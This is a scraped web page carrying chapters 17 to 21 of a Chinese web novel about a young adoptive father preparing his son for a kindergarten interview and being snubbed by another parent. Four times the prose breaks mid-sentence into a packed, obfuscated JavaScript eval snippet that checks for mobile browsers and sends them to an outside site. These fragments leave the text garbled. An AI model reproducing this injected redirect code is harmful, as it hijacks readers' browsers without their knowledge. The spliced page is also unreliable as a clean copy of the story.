a大这群人是闲的没事干了是吧。 而且他哪有直接说他不会,他明明先说了抱歉,才说的不会! 可惜现实不允许白榆那么早入土,他死前还要解释他为什么旷课。 【郑老师:你第一节上就不来上,还跑到别人的课堂上,老师真的好伤心啊o(╥﹏╥)o】 【树:小猫咪一百八十度疯狂鞠躬道歉.jpg】 【郑老师:行了,这次就算了。你写个检讨给我就好了】 【树:老师,写多少字啊】 【郑老师:简单写个两千字就行了】 ‘简单’ 白榆觉得这两个词最近可能和他犯冲。 沉默了两秒后,白榆回复。 【树:好的老师,谢谢老师】 旷课! 检讨! 论坛! 一条一条的事冒了出来,白榆愤愤地把手上的书扔到桌子上。 两秒后,白榆又冷着张脸把书拿起来,离开了教室。 * * * 傍晚,街边的小摊上。 白榆带着手套剥小龙虾,将里面的虾肉放到白予安盘子里。 白予安:●v● 爸爸,剥的。 “你说他明知道我没带书听不懂,为什么还要把我叫起来,这不就是故意的吗?” 安安听到声音后,转头往旁边看,才发现爸爸正连着蓝牙打电话。 谢昀澈懒散的靠在沙发上,随口回复,“故意的。” 白榆专注的向谢昀澈吐槽,“而且我因为他被人拍了照片,挂在A大论坛上,还被老师看见发现我旷课了。” 谢昀澈语调毫无波澜的说道:“太过分了。” 白榆将盘子里最后几只小龙虾剥好,摘下手套,喝了口茶,冷静下来后,又有点不好意思,顿了顿,说道:“其实也还好,主要是我的错。” “他其实……”白榆想起那本书,顿了顿,“人看起来还不错。” 电话那头传来了良久的沉默。 谢昀澈:“你觉不觉得你现在特别像生气冲男朋友无理取闹,冷静下来又觉得对方哪都好的热恋小情侣?” 白榆:“滚。” 谢昀澈头疼地按了按太阳穴,“好了,说正事,你怎么没给他说。” 白榆拿着旁边的烤串咬了一口,“还没下课他就被叫走了,我找不到机会。” 谢昀澈:“那怎么办?再去上一次他的课?” 白榆拿烤串的动作一顿,想道今天早上的情景,整个人就像一个月没浇水的小草一样,肉眼可见的枯萎了。 “爸爸,多吃点菜。”白予安把盘子里的金针菇递给他,自然的把所有烤青椒都拿走。 白榆 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落日的暖阳,斜照在两个人身上,温馨惬意的氛围下,白榆的手机忽然响了起来。 白榆眯着眼,发现邮箱里多了一条邮件。 【下面是通过笔试的小朋友的名单(排名不分先后),请名单上各位小朋友的家长带着孩子,后天来学校参加面试,如果时间实在调不开,可以私下联系我们,另外选择合适的时间段】 白榆的那点困意瞬间被吹飞了,紧绷的看着邮件里的名单。 艾凝,白予安…… 白榆的心脏狂跳着。 “爸爸。”白予安拉了拉忽然停下的白榆的手指。 “嗯。”白榆低头看着自家崽,笑了起来,“成绩出来了。” 白予安眼睛瞬间就亮了起来,跳起来拽着白榆的衣服,“爸爸,给我看看。” “嗯,好。”白榆半蹲下来,把名单拿给小崽崽看。 白予安兴奋的凑到手机跟前,看到名单之后,一下就安静下来了,滚圆的黑色眼眸茫然的眨了眨。 “爸爸。”白予安仰头看着白榆。 “嗯?”白榆有些疑惑白予安的反应。 小崽崽指着手机屏幕,无比认真的问道:“这个是按照成绩排的吗?” “不是。”白榆仔细想了下,“这个名单好像是按照姓氏的开头字母排的。” “哦。”白予安轻飘飘的应了一声,耸拉着小脑袋。 片刻后,白予安不死心的转头问道,“那爸爸,面试结果会按照成绩排吗?” 白榆不确定的说道:“大概?” 白予安躲开白榆的视线,嘟起小脸,假装不在意的问道:“那面试考什么啊?” 18. 第 18 章 白榆被问的紧张了。 刚只顾着开心了,都没意识到事情的严重性。 他和白予安两天后就要去参加面试了。 白榆不想给白予安太大的压力,咬了下唇,装作不在意的说,“没什么,就是有人会问你几个问题,你回答一下就好。” “我们先回家吧。”白榆没心情在外面乱逛了,握住白予安软乎乎的小手,往家里走去。 回到屋子里,白榆把谢昀澈发给他的有关于幼儿园招考的资料翻出来,又仔细看了一遍。 面试是家长和孩子分开的,他和白予安会被带到不同的房间里,到时候白予安说了什么他也不知道,还是先做好准备比较好。 白榆拿着打印好的文件,走到刚洗好澡的小崽崽跟前,“安安,我问你几个面试的时候,老师可能会问的问题。” “嗯!”白予安穿着他可爱的小恐龙睡衣,尾巴随着他点头的动作动了动。 “好,那第一个问题。”白榆干咳了两声,尽量模仿着幼儿园老师的语气,“宝宝,可以介绍一下你的家庭成员吗。” 白予安也配合的说,“家里有安安,爸爸,爹地,还有瘫瘫。” 白予安停了一下,双手给白榆比划,“瘫瘫是一只小刺猬,大概这么大。家里还有仙人掌,一号、二号、三号、四号、五号……” 白予安数着自己的指头,“还有伯伯、爷爷,奶奶。伯伯每周都会来看安安和爸爸。到了夏天的时候,爷爷奶奶也会从国外回来。” 白榆没有想到,未来他的家庭关系会这么的和谐,但是…… “崽,你不能这么给老师说。”白榆半蹲下来,神情严肃。 “这些都是。”白榆顿了顿,勉强找到一个合适的说法,“以后的事情,现在……” 现在我们家正处于丧偶阶段,白榆感到一片扎心。 “总之,家里现在只有你和我。”白榆自己都觉得这样说不太好,犹豫了几秒后,在安安期待的目光中,说道,“要不……我们买只刺猬回来。” “哦。”白予安有些失落,连睡衣后面的尾巴都耸拉了下来。 小恐龙很委屈,但小恐龙不说。 白榆继续问,“那第二个问题,平时都是谁陪宝宝?” “爸爸……”小崽崽看起来好像还要在说些什么的样子,但忍住了,毛茸茸的小脑袋耸拉着。 一轮问完,已经很晚了。 白榆洗完澡,对着镜子吹自己的头发 白榆指尖捏着自己额前白色的碎发,认真的考虑了一会,给谢昀澈发了条消息。 【树:我要不要把头发染回去。】 【昀澈:?】 【昀澈:你都染这么多年了,怎么忽然要染回去】 【树:幼儿园后天面试】 谢昀澈几乎瞬间就明白了白榆的意思。 【昀澈:和别的问题一比,你头发算不上是什么大事。而且看习惯了,你现在染回去反而很奇怪】 【昀澈:面试的事情,准备的怎么样了】 白榆言简意赅。 【树:尽力了】 过了好一会,白榆自己都觉他不靠谱,又给谢昀澈发了条消息。 【树:你说要实在不行,要不我去找我哥】 刚发出去白榆就后悔了,正准备把消息撤回,谢昀澈就回复他了。 【昀澈:你和你哥多久没联系了】 白榆看着聊天页面,迟迟没回复。 手机忽的震动了一下,银行发来了一条入账短信。 【95588:您尾号为××××储蓄卡于7月28日收到尾号为××××的用户600000.00元转账,请核实资金是否入账,如汇款信息有误,银行将退回处理[工商银行]】 微信上白榆也收到了一条消息。 【叶林:马上要降温了,记得去买些衣服】 白榆:“……” 他沉默的把这句话又读了一遍。 没记错的话,这几天好像都是三十几度。 白榆往上拉了一下聊天界面。 其实说没联系了也不对,叶林三天两头的用一些奇奇怪怪的理由给他……发零花钱。 【叶林:买点零食】 【叶林:周末和朋友出去玩玩】 【叶林:马上就过中元节了,我给你转了点钱】 白榆:“……” 白榆有的时候甚至怀疑,叶林是不是整天想着办法给他打钱。 明明他很有钱。 白榆看了会,还是把手机关了。 白榆实在是不知道要怎么面对叶林。 白漾有不少私生子,但老爷子管的严,白漾的那些私生子白榆其实没见过几个。 但叶林不一样,他是白老爷子专门接回来的。 白漾和陆莫宁的婚姻简直就像个笑话。结婚前,白漾就在外面搞出了孩子,偏偏明面上还装的一幅洁身自好的样子,再加一幅漂亮的皮囊,被当时急需联谊的老爷子推销给了同样急需要联姻的陆家。 结婚后,白漾也没安分下来,又在外面和其他女人搞了起来,还被陆女士抓了个现行,两个人吵的天翻地覆但一直都没离婚。 发现自己丈夫出轨了后,陆莫宁女士一不做二不休,干脆自己也在外面包养了小男生。就这样两个没有感情还互相厌恶的人,却还要为了所谓的家业生个孩子出来。 白榆就是那个被生出来的倒霉孩子。他生下来了后,陆莫宁和白漾都没有管他的意思,做完亲子鉴定就被老爷子抱走了。 不过养了没几年,老爷子发现与其从头培养n卡,不如直接把外面的SSR接回来。 于是叶林就回来了。 为了这事,两家大闹了一场,陆莫宁和白漾也终于离婚了。 白榆也……自然而然的被扔下了。 从某种角度上来讲,白榆反而是他同父异母的哥哥带大的。 手机屏幕突然又亮了起来。 【昀澈:有一件事,我觉得还是要提醒一下你,你收养了个孩子的事,你哥已经知道了】 【树:我知道】 【昀澈:?】 【树:他最近给我打钱更频繁了】 【昀澈:……】 白榆叹了口气,往客厅走,发现他家崽正在喝牛奶。 白予安捧着一大杯牛奶,仰着小脑袋,咕嘟咕嘟的一口气灌下去。 喝完,白予安小声嘟囔,“牛奶,难喝。” 白予安憋着气,点着脚尖又给自己倒了一杯牛奶。 白榆:“。” 我过两天再去买盒牛奶吧。 *** 面试的那天早上,白榆专门请了假,开车载着白予安往幼儿园走,去参加面试。 下车的时候,很巧的他们又碰到了萧梁和他家闺女。 不知道是不是吸取了上次的教育,萧望舒今天穿了一件耐脏的牛仔裙,被萧梁抱着,热情的挥着小手和他们打招 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15490800|170128||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呼,“安安,爸爸。” 白榆:“……” 爸爸?再叫我吗? 萧梁痛苦的闭了闭眼,为了一会的考试,选择性的无视了这件事。 白予安也挥了挥小手,礼貌的跟对方打招呼,“你好。” 萧望舒从萧梁怀里跳了下来,热络的拉着白予安的手跑到一边跟安安说话。 “萧望舒,手不要摸地上!”萧梁扯着嗓子喊道。 就说话的这短短一会,几辆车陆续的开了过来,家长带着孩子从车上走了下来。 “好久不见啊,哲哲妈妈。” “凝凝妈妈……” 安静的停车场里忽然多了很多交谈的声音。 白榆往四周看了一圈,心底浮现出了一丝困惑。 他们怎么都认识? 萧梁看出白榆的不解,想到对方家里的‘快乐教育’,表情有些扭曲,但还是小声的给白榆科普:“应该是在培训机构里认识的。” 而且就算不认识,上次笔试的时候也该认识了,萧梁没把后半句说出口。 白榆回想起上次萧梁说的卷子的事,沉默了几秒后,问道:“萧望舒去哪个培训机构?” 萧梁:“望舒不去培训机构的。” 白榆眼睛一亮,刚以为自己找到了相同的人。 萧梁目光平静的看着面前热络的家长们,“我一般请老师来家里。” 白榆:“……哦。” “我做了些饼干给小朋友们的,大家分分吧。”被围在中间的旭旭妈妈笑着对所有人说道。 她老公配合的打开了汽车的后备箱,里面放着用半透明的礼盒装着造型可爱的小饼干。 其他家长很给面子的夸了起来。 “旭旭妈妈人长的漂亮就算了,手还巧。我要是有旭旭妈妈一半的手艺就好了。” “我们家哲哲最喜欢你做的饼干了呢。前两天还问我能不能做上次阿姨送的饼干。这哪会啊。” “我做的一般,孩子喜欢就好。”旭旭妈妈明显有些得意,表面上却还是笑的一脸温和。 她边和其他家长聊天,边将饼干放到袋子里送给各位家长。 白榆其实不太想要。 安安不喜欢吃甜食,他不想吃别人做的饼干。 但他在这里先是白予安的爸爸,再是他自己,白予安的爸爸不能驳了其他家长的好意。 白榆离旭旭妈妈有点远,没急着过去,打算等其他家长分的差不多了在去拿他的那份。 于是他就安静地看着旭旭妈妈拿到某盒饼干的时候稍微顿了一下,接着不动生色的把那盒饼干放到了一边,拿了一盒新的给对方。 白榆:“?” 白榆的视力很好,一眼就发现被放到一边的那盒饼干碎了。 “快来拿啊。”旭旭妈妈挥了挥手,热情地对还没来拿饼干的家长说道。 白榆走了过去,客气的说道:“谢谢。” “这有什么好谢的。”旭旭妈妈脸上挂着笑容,转身将放在一旁碎了饼干拿起来,装到袋子里递给白榆。 紧接着,旭旭妈妈又把另一盒好的饼干装起来,绕过站在她面前的白榆,向后面的萧梁走去,笑容比刚才灿烂了不少,“这个是给望舒的。我上次看见她就觉得。望舒真是活泼可爱,我要是有个这样的女儿就好了。” 白榆被对方冷落在身后,他看着手上提着的饼干,明白过来了。 哦,原来这盒碎的是专门放着分给他的。 19. 第 19 章 白榆脾气不算很好,也很少会克制自己的脾气。 他盯着袋子里的饼干,决定…………忍了。 忍一时风平浪静(越想越气),退一步海阔天空(变本加厉)。 白榆在心里自己宽慰自己。 这里是幼儿园的停车场,周围都是学校的监控,其他孩子的家长也在。在没任何证据的情况下,为了盒碎了的饼干和别的家长斤斤计较,最后只会闹的双方都不好看。 一会白予安还要进去考试,现在不便惹事。 他忍。 白榆用力握了下袋子。 萧梁没有接旭旭妈妈手上的饼干,视线在白榆手中的袋子那停顿了几秒。 他刚也看见了旭旭妈妈的小动作,这种做法,多少有些让人有些不舒服。 萧梁委婉的拒绝,“不用了。望舒不喜欢吃甜的,我就不要了。” 旭旭妈妈被拒绝了也没有气馁,热枕的说到,“那我下次做些咸的点心试试。” 萧梁没说话,客气的笑了笑。 白榆在旁边越想越气。 要只是区别对待他,白榆倒无所谓,但是给孩子个饼干,还分个三六九等的是什么意思。 原本在一边和白予安玩的萧望舒突然停了下来,歪着小脑袋,疑惑的看着自己刚交的好朋友。 肿么回事,安安好像忽然就不开心了? 不开心的白予安小朋友睁着圆滚的眼眸在周围看了一圈,最后将目光落在了一个人孤单单站在大树下面的张旭旭身上,主动跑了过去。 萧望舒虽然不知道发生了什么,但也迈着小腿跟白予安跑了过去。 三个小孩围在一起,很快就熟了起来,咕叽咕叽的聊天。 离面试的时间还早,分完饼干后,家长和小朋友们边聊天边缓慢的往幼儿园里面走。 旭旭妈妈手上提着那盒没送出的饼干,看着围在一起的三个小朋友,笑容温和,眼底却是压不下去的得意,“没想到旭旭这么快就交到好朋友了,我还担心他性格内向,不敢和新认识的小朋友说话呢。” “旭旭性格那么好,怎么会交不到朋友呢。”旁边的哲哲爸爸说,“我们家哲哲就很喜欢他。” 旭旭妈妈用手掩着笑。 白榆看着被其他家长层层围起来的旭旭妈妈,斟酌着用词问道:“他们好像都和旭旭妈妈的关系很好。” “嗯。”萧梁点了下头,直白的说,“他们都很捧着旭旭妈妈。” 白榆:“?” 萧梁补充,“张文旭的成绩很好。” 白榆惊讶的说道:“你怎么知道的?” 萧梁奇怪的看向白榆,“了解其他孩子的情况是考前必做的准备之一。” 白榆:“……哦。” 很快就到面试的地方了,门口站着等他们的老师。 “旭旭。”旭旭妈妈转身对张文旭说,“快叫老师好。” “啊?”正和刚认识的小朋友说话的张文旭小朋友,楞了一下,抬头这才看到站在几十米外的幼儿园老师,拘谨的说,“老师好。” 其他的小崽子也接二连三的跟着喊。 “老师好。” “老师好!” 幼儿园的老师半蹲下来,语气温和,“小朋友们好啊!” 幼儿园的老师们站起来,对各位家长说,“我是幼儿园的王老师,大家跟我走吧,我带各位去面试的地点。” 看见老师来了,白予安拉着旭旭的小手,登登登的跑到白榆面前,给他介绍,“这是我爸爸!” 张旭旭的脸蹭的一下就红了,害羞的低下头。 白榆困惑的看着面前的小孩。 他好像是那天跟在萧望舒身后追蝈蝈的小男孩之一。 张旭旭:哥哥会抓蚂蚱,好帅啊>v< 白予安扒拉着爸爸手上的小袋子,仰着头一脸纯真的问他,“爸爸,这是什么啊?” 白榆:“这是……” “这是我妈妈做的饼干。”还没等白榆说完,旭旭强先一步给白予安介绍。 “我妈妈做的点心可好吃了。”旭旭眼睛亮亮的,骄傲的说道。 发现白榆再看他后,旭旭又不好意的把小脑袋低了下来。 “哇!好厉害!”白予安海豹式鼓掌,把饼干从袋子里拿出来。 萧望舒站在白予安后面,看着半透明盒子里的饼干,下意识的大声问道:“饼干怎么是碎的?” “嗯?”旭旭凑过去看,疑惑的说,“我妈妈不是把碎了的饼干放到一边去了吗?” 旭旭原本围在车子那里看他爸爸和妈妈分饼干,但是来拿饼干的叔叔阿姨都要和他说几句话,他就躲到大树底下了。 记忆中,他记得妈妈发现了一盒碎了的饼干,然后放到一边去了。旭旭以为妈妈是要把碎了的饼干带回家的。 旭旭的声音不算大,但也不算小,起码周围的家长和老师能听的一清二楚。 原本热热闹闹的氛围忽然的安静了一瞬。几秒后,又像什么都没发生一样,继续热络了起来。 但有些事听见了就是听见了,不会从记忆里抹去。 在场的家长又不是小孩一听就反应过来了。 手工制成的饼干拿过来的路上不小心有那么几块碎了,在正常不过了。说一声。谁都不会因为拿到了一盒碎了的饼干和对方生气。 但这种专门把碎了的饼干留给某个家长的做法就多少有些势力了,尤其是把这种行为拿到和白纸一样的小孩子面前,更让人不舒服了。 早早拿到饼干,完全没注意到这回事的家长心里多少都有些不舒服。 “妈妈,大哥哥的饼干怎么碎了?”张文旭天真的问自己妈妈。 旭旭妈妈的笑容僵在了脸上,抬头看了眼站在最前方的老师,尴尬的说,“应该是我不小心拿错了吧。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15490801|170128||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 旭旭妈妈当然是故意的。 她也没想到一路上都那么小心了,饼干还会碎。给别的家长碎掉的饼干,万一人家嘴上不说,心理不舒服可怎么办这样影响多不好。 她本来就不想搭理白榆,碎了的饼干给他也刚好。 而且就算是白榆当场发现了她专门把碎掉的饼干给他又怎么样? 难不成他还能不顾及接下来的考试,在幼儿园门口和她吵起来? 旭旭妈妈的沉默了半晌,视线忍不住在周围家长的脸上扫,试图看出点他们的想法来。 她没觉得她这么做有什么不对,要不是为了面子上好看,她都不想做白予安的那一份。 旭旭妈妈咬了咬牙,走到白榆面前违心的道歉,“对不起啊,安安爸爸。” 旭旭妈妈顿了顿,又补充道:“要不……我在做一份,下次在带给你。” 白榆双手插兜,“不用。” “实在是不好意思。”旭旭妈妈窘迫的低着头。 “快走吧,要跟不上老师了。”白榆没理对方,牵着白予安肉乎乎的小手,直接绕过她。 旭旭妈妈被白榆冷淡的样子气到了,在心里咒骂。 会不会好好说话, 真没教养。 白予安转动小脑袋,左看看,右看看,发现没有人注意自己,躲在白榆身后,冲旭旭妈妈做了个鬼脸。 略略略。 哼。 白予安把脸颊鼓起来,瞬间转变成了一个气鼓鼓的河豚。 白予安开心了,一抬头,这才发现白榆正在看着自己。 四目相对,两双相似的眼睛一起眨了眨。 白予安立刻就拿小手捂住了脸,脑袋上开始冒热气。 啊啊啊啊啊啊! 爸爸,看到我做鬼脸了! 白予安把指头分开一点点,透过缝隙悄咪咪的看了白榆一眼。 爸爸还在看着他! 白予安瞬间又把手指并拢。 白榆:“为什么要对她做鬼脸?” 白予安变的和蒸锅里刚蒸好的螃蟹一样,头顶还冒着点热气,支支吾吾的说道:“因为,因为她欺负爸爸。” “我都看到了。”白予安小小声的嘀咕着。 白榆怔了怔,才反应过来自家崽在说什么,“所以你拉着旭旭一起过来了。” “嗯。”白予安点点头,跟特/务接头一样眼睛小心的往四周瞟,挥了挥手,示意白榆蹲下来。 白榆半蹲下来。 白予安凑在他耳旁,压低声音,“安安本来想让旭旭当着老师的面说出来,他妈妈给爸爸你的饼干是碎的。没想到旭旭知道有饼干碎了,但他以为他妈妈把碎了的饼干给带走了。” 白榆看着白予安刻意板起来的小脸,一幅跟他说什么秘密的样子,用手戳了戳白予安脸上的肉肉。 他家崽有时候真的是有些可爱过头了。 20. 第 20 章 “面试的地点,小朋友们在一楼,各位家长在二楼。”幼儿园的老师耐心的介绍,“暂时不用去面试的家长和小朋友可以先在一楼的休息区里稍微等一会。” 说完,老师拿起一个木质的小盒子,从里面拿出一枚枚小手牌,分给各位家长,“牌子上是面试顺序。” 白榆将小牌子翻过来,上面清晰的刻着两个字。 ‘1号’。 同一时间,幼儿园的老师拿着顺序单,温声说道,“那么,现在请白予安小朋友和他爸爸准备一下吧。” 白榆有些麻木。 这么多人,为什么偏偏我们是第一个? 白榆把小牌子用力握在掌心里,强行忍住去问老师面试顺序是按照什么排的冲动。 不知道是不是幼儿园的老师听见了他的心声,解释道:“面试顺序是按照小朋友们名字的开头字母排的。艾凝爸爸今天有一个重要的会议来不了,约了改天的时间,所以白予安和他爸爸是第一个。” 白榆:什么会这么重要,孩子面试都请假。 白予安看起来倒是对这个面试顺序很满意,向爸爸挥了挥小手,高兴的跟着老师哒哒哒的跑掉了。 白榆目送着白予安的离开,努力做好心理准备后,朝着二楼走去。 为了面试,白榆今天穿的很正式。 他侧身看了眼走廊边窗户里倒映的自己。 他上次穿这么人模狗样,还是在参加他妈葬礼的时候。 白榆把手搭在面试房间的门把手上,精神紧绷,深呼一口气,先敲了几下,在推开房门,“打扰了。” 坐在沙发上的三位老师,看见家长进来后,站了起来,客气的说道:“您好,白予安爸爸。” “您好。”白榆想让自己尽量看起来成熟稳重一些,语气却不自觉的带着几分紧绷。 “请坐。”面试的老师脸上挂着笑容,伸手示意白榆在对面的沙发上坐下。 白榆:“谢谢。” 白榆吞咽了几次,甚至觉得现在他能听见自己的心跳声。 当年他自己高考的时候,都没有现在紧张。 “这次见面我们主要是想了解一下,孩子的家庭情况。”面试老师拿着张单子,问道:“据我们所知,您和白予安小朋友是领养关系是吗?” “是的。”白榆的手下意识的握了起来。 “可以告诉我们一下您为什么要收养这个孩子吗?” 白榆沉默了片刻,顶着三道视线,最后还是选择实话实说,“……因为在路上碰见了他。” 几位老师等了半天也没等到白榆下句话,顿了顿,客套的说道:“那您和孩子还挺有缘啊。” 白榆:“是的。” 老师:“您喜欢有了这个孩子之后的生活吗?” 白榆顿了顿,“……喜欢。” 坐在对面的面试老师微笑着问,“那对您来讲,白予安是个怎么样的小孩。” “他是一个很好的孩子。”白榆低声说道。 “非常的聪明,偶尔有些调皮,但更多的时候就像个真的天使一样,无时无刻都在治愈其他人。”白榆沉默了片刻,说道,“说实话有的时候,我甚至不知道到底是我在照顾他,还是他在照顾我。” 白榆垂下眼帘,睫毛长长的在眼前坠着,“反倒是我,可能不是一个好爸爸。” “您是这样认为的吗?”面试的老师反问,“那您知道在笔试的卷子上有这样一道题目吗?” 老师从桌子上一沓卷子里抽出一章,轻声念了出来,“如果给爸爸妈妈打分,你会打几分(1—10分)?” “绝大多数的小朋友写的都是八分或者九分,但是白予安小朋友毫不犹豫的给了您10分。” “还有下面的一道题,你最喜欢的人是谁?”老师翻了一下卷子,“安安小朋友的答案是,最最最最喜欢爸爸了。” 白榆的眼睛睁大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15490802|170128||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一瞬。 * * * 面试的时间不长,大概也就十来分钟的时间,白榆顺着楼梯往下走的时候,却有一种恍若隔世的感觉。 这就,结束了? 白榆知道自己表现的不好,却又没办法。 如果实在不行的话,他就只能用家里的关系了。 白榆低头沉思着,走到楼梯转口时,周围的家长不知道谁先起的头,齐刷刷的转过头盯着他看,那眼神一个比一个的炙热。 白榆本能的往后退了半步。 ? 他们在干什么? 白榆握着楼梯扶手,一步步往下走。 其他家长的视线也跟着他一步步往下移。 白榆一下来就被一群人给围住了。 其他家长一副想要说些什么,却又不知道能说些什么的样子,只能用灼热的目光来表达自己内心的震撼。 白榆被盯的心底发毛。 “安安爸爸。”想道几分钟前发生的事,萧梁也一阵恍惚,看向白榆的眼神都已经不像是在看人了。 “安安在那边呢。”萧梁向着给他指了个方向。 “谢谢。”白榆说完,就快速的离开了这里。 顺着萧梁指的方向,白榆找到了他家崽,以及他家崽面前站着的一个满头白发的老先生。 白予安兴奋的挥了挥下小手,说道:“@#¥%……” 老先生看上去很惊喜,回复道:“*&%¥……” 白榆:“???” 白予安侧身看见他后,更加兴奋了,对着那位老先生说道:“%R$^&*%……” 白榆:他们在说什么? 不知道他家崽给对方说了些什么,那位老先生笑容满面的朝他走来,伸出了左手,说道:“&%¥##@” 白榆:“。” 有没有一种可能,这里是华国,要说中文的。 21. if线 夜已经很深了,街道上早就没了人影,随着小区里一盏盏灯光的熄灭,这座城市彻底迎来了寂静。 凌晨时分的房间里,只剩下一部手机还在坚持不懈的发出声响。 “嗡嗡——” 终于当电话马上要自动挂断时,床上的少年迷迷糊糊的睁开了双眼。 白榆被吵醒的时候,脑子里还在回荡着好友的哭诉声。 昨天是他二十岁生日,认识多年的好友说要好好给他庆祝一下。 庆祝没庆祝的白榆倒是记不清了,他脑子里现在只剩下对方的鬼哭狼嚎。 “白榆,你说我导当年选我的时候是不是眼瞎了。” “我现在是自己主动退学,还是等劝退。” “这日子过不下去了!!!” 他也不知道对方是怎么做到的,喝个气泡水能喝出一种在烈酒的架势。 一米八几的大男人拍着桌子,吵吵了一晚上,他现在脑子里还在嗡嗡的叫。 白榆刚睁开眼睛没两秒,又重新闭上,把手伸到枕头底下,摸出了手机,闭着眼睛接通电话。 从来没听过的男声从电话里响起。 “喂,请问是白榆先生吗?我是苏城秀水派出所的民警。你儿子白予安,走丢后被发现,现在正在这里,请立刻……” 白榆眼睛都没睁一下,直接挂断了电话,手上的力气一松,手机滑落到床上,翻了个身,继续睡。 哪来的骗子,大半夜的打电话。 短暂的安静了片刻,手机再次响了起来。 “嗡嗡——” 白榆的眉头不由的皱起,把被子拉到头上。 沉寂的夜晚,微弱的震动声被无限放大,吵的人不得安宁。 白榆挣扎了几秒,最终还是闭着眼接通了电话。 一模一样的声音响起,“这里是苏城秀水派出所!” 和刚才不同这一次对方声音大的像是恨不得从电话里冲出来。 白榆下意识的将手机离耳朵远了一点。 果然接下来的声音更大了。 “你儿子白予安现在在这里。” 在对方有些暴躁的声音下,白榆终于舍得睁开了眼,从床上坐了起来。 白榆看了眼手机。 很好。 现在是凌晨3点07分。 白榆扯了扯唇角,冷笑了声。 昨天一整天他就只吃了块蛋糕,睡前还没什么感觉,现在大半夜的被叫起来,胃里跟有团火一样,一阵阵的烧着疼。 长时间等不到回复,电话那边不耐烦的吼道:“听到了吗。” 刚刚醒过来,白榆嗓子有些干,轻咳了两声,哑着嗓子低声回道:“听你大爷的。” “你……” 白榆舔了下干涩的唇,语速极快的继续骂道:“怎么诈骗行业现在这么萧条,要你大半夜的出来冲业绩。” “干这么辛苦要不爹送你面锦旗,表彰一下你的昼夜不分的‘敬业’精神。 “你要实在闲着没事干,干脆直接找块砖把自己拍死算了,省的大晚上出来找骂。” 骂完最后一个字,白榆挂断电话,深深的呼出一口气。 白榆打开手机,把对方的号码标记成诈骗电话后,彻底拉黑。 趁着还早,白榆重新躺到床上,准备继续睡。 醒来后就没那么容易睡着了,胃部的刺痛,时不时冒出来一下,彰显存在感。 白榆蜷缩起身体,终于在忍着各种不适,马上要进入梦乡的时候……手机又一次响了起来。 “嗡嗡——” 艹 白榆头一次觉得震动声能吵出一种境界。 白榆沉着张脸,伸手捞过一旁的手机,不耐烦的说道:“喂。” “看手机屏幕。” 刚分别没多久的声音响起。 白榆的脸彻底黑了,一股火气在涌上心口。 怎么又是这个傻逼骗子。 不是拉黑了吗! 显然电话那头的人有了经验,赶在白榆开口骂人,沉着声继续说道:“看屏幕。” “怎么,屏幕上有你遗照。”白榆本能的怼了一句,视线却下意识往手机屏幕扫了一眼。 LCD幕上清晰的显示着几个大字。 苏城秀水派出所。 白榆楞了一下,睡意顿时消散了一半,从床上坐了起来。 白榆缓慢的把手机拿到眼前,眨了眨眼,又看了一遍。 没看错。 来电显示上就是……苏城秀水派出所。 白榆迟迟没出声的反应说明了一切。 电话那头,“呵。” 这声呵就很有灵性,虽然在听得出克制,但声音中蕴含着浓浓的……嘲讽。 沉默了片刻,白榆震惊的说道:“现在诈骗电话,已经可以显示派出所了的名字了吗。” 白榆翻看手机上的通话记录。 先前的两个电话都来自同一个陌生号码,当他拉黑的后,对方换了一个号码。 而这个号码居然能够显示派住所的名字。 白榆忍不住砸了下舌。 现在的诈骗手段可真可怕。 但凡对方换一个稍微没这么离谱的理由,再加上大晚上不停给他打电话的毅力,说不定他还真信了。 电话那头的年轻民警被白榆神奇的脑回路气的差点跳起来,声音不自觉的放大,“这就是派出所的座机,不是诈骗电话。” 白榆没有感情的冷漠回应,“哦。” “你……” “小陈,把电话给我,我来说。” 一道陌生的声音从电话中响起。 从声线上可以听出这道声音的主人的年龄已经不轻了。 明明看不见人,但透过声音却给人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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李警官抬头,透过磨砂的玻璃门看了眼外面乖巧坐着的小男孩。 将手中的文件翻了一页,神色有些复杂。 李警官垂下眼帘,“很抱歉大晚上的打扰你,不过有件事情可能需要你配合调查,请你尽快来派出所一趟。” “这儿……有个孩子正在等你。” 白榆盘腿坐在床上,愣了下才回过神。 白榆张了张嘴想要问些什么,最终却什么都没说,客气的回道:“好的,我马上到,麻烦您了。” 挂断电话后,白榆看了眼窗外的月亮,神色恍惚。 孩子??? 白榆在床上愣了好一会才穿衣服下床。 